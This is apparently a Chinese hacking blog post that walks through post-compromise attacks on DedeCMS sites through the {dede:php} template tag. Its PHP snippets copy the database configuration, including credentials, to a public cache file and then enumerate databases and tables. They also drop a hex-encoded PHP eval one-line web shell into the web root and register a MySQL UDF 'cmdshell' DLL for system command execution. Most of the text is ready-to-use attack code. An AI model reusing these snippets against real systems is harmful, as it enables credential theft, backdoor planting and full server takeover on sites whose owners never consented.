By:zafe
遇到可写不可执行的,可执行不可写的站的也许用的上
{dede:php}copy('../data/common.inc.php','../data/cache/test.txt');{/dede:php} |
然后去xxx.com/data/cache/test.txt看数据库信息,如果是root那就happy吧
如果是普通用户,首先看下有哪些数据库:
//自行把{dede:php}{/dede:php}之间的内容替换成下面的,结果都是到data/cache/test.txt去看 |
$xdb = mysql_connect("localhost","user","password");//你获取到的数据库信息
$xresult =mysql_query("show datebases;",$xdb);
while($row = mysql_fetch_array($xresult))
{
$fp = fopen("../data/cache/test.txt", 'a');
fwrite($fp,$row['Database']."\n");
fclose($fp);
}
mysql_close($xdb); |
列表:
$xdb = mysql_connect("localhost","user","password");//你获取到的数据库信息
$xresult =mysql_query("show tables from mysql;",$xdb);
while($row = mysql_fetch_array($xresult))
{
$fp = fopen("../data/cache/test.txt", 'a');
fwrite($fp,$row['Tables_in_mysql ']."\n");//请自行替换,mysql是数据库名
fclose($fp);
}
mysql_close($xdb); |
获取其他数据库信息,自己更改mysql_query()和$row[]就行了
获取网站路径:
$fp = fopen("dede/data/cache/test.txt", 'a');
fwrite($fp,$_SERVER['DOCUMENT_ROOT']."\n");
fclose($fp); |
如果有数据库对web目录有权限写:
$xdb = mysql_connect("localhost","user","password");//你获取到的数据库信息
mysql_query("select convert(0x3C3F70687020406576616C28245F504F53545B2763275D293B3F3E,CHAR) into dumpfile 'E:/wwwroot/test.php';",$xdb);//一句话,密码c
mysql_close($xdb); |
注册udf:
$xdb = mysql_connect("localhost","user","password");
$xresult =mysql_query("create table mysql.udftmp (c blob);",$xdb);
mysql_query("insert into mysql.udftmp values(convert(0x,CHAR));",$xdb);//0x后接你udf的16进制代码
mysql_query("select c from mysql.udftmp into dumpfile 'c:\\windows\\\system32\\udf.dll'",$xdb);
mysql_query("drop table mysql.udftmp;",$xdb);
mysql_query("create function cmdshell returns string soname 'udf.dll';",$xdb);
mysql_close($xdb);
//注册好后,执行命令把上面的sql改下就行了 |
补充:
data/cache/test.txt 不是可写了吗,一般数据库配置文件都可以写的。
一般数据库配置文件权限都是设置可写不可执行,至少目前没碰到不可写的,然后很多文件都调用数据库配置文件,比如:plus/heightsearch.php 然后带上你的家伙。
文章作者
Nuclear'Atk
上次更新
2011-11-15
许可协议
Nuclear'Atk(核攻击)网络安全实验室版权所有,转载请注明出处。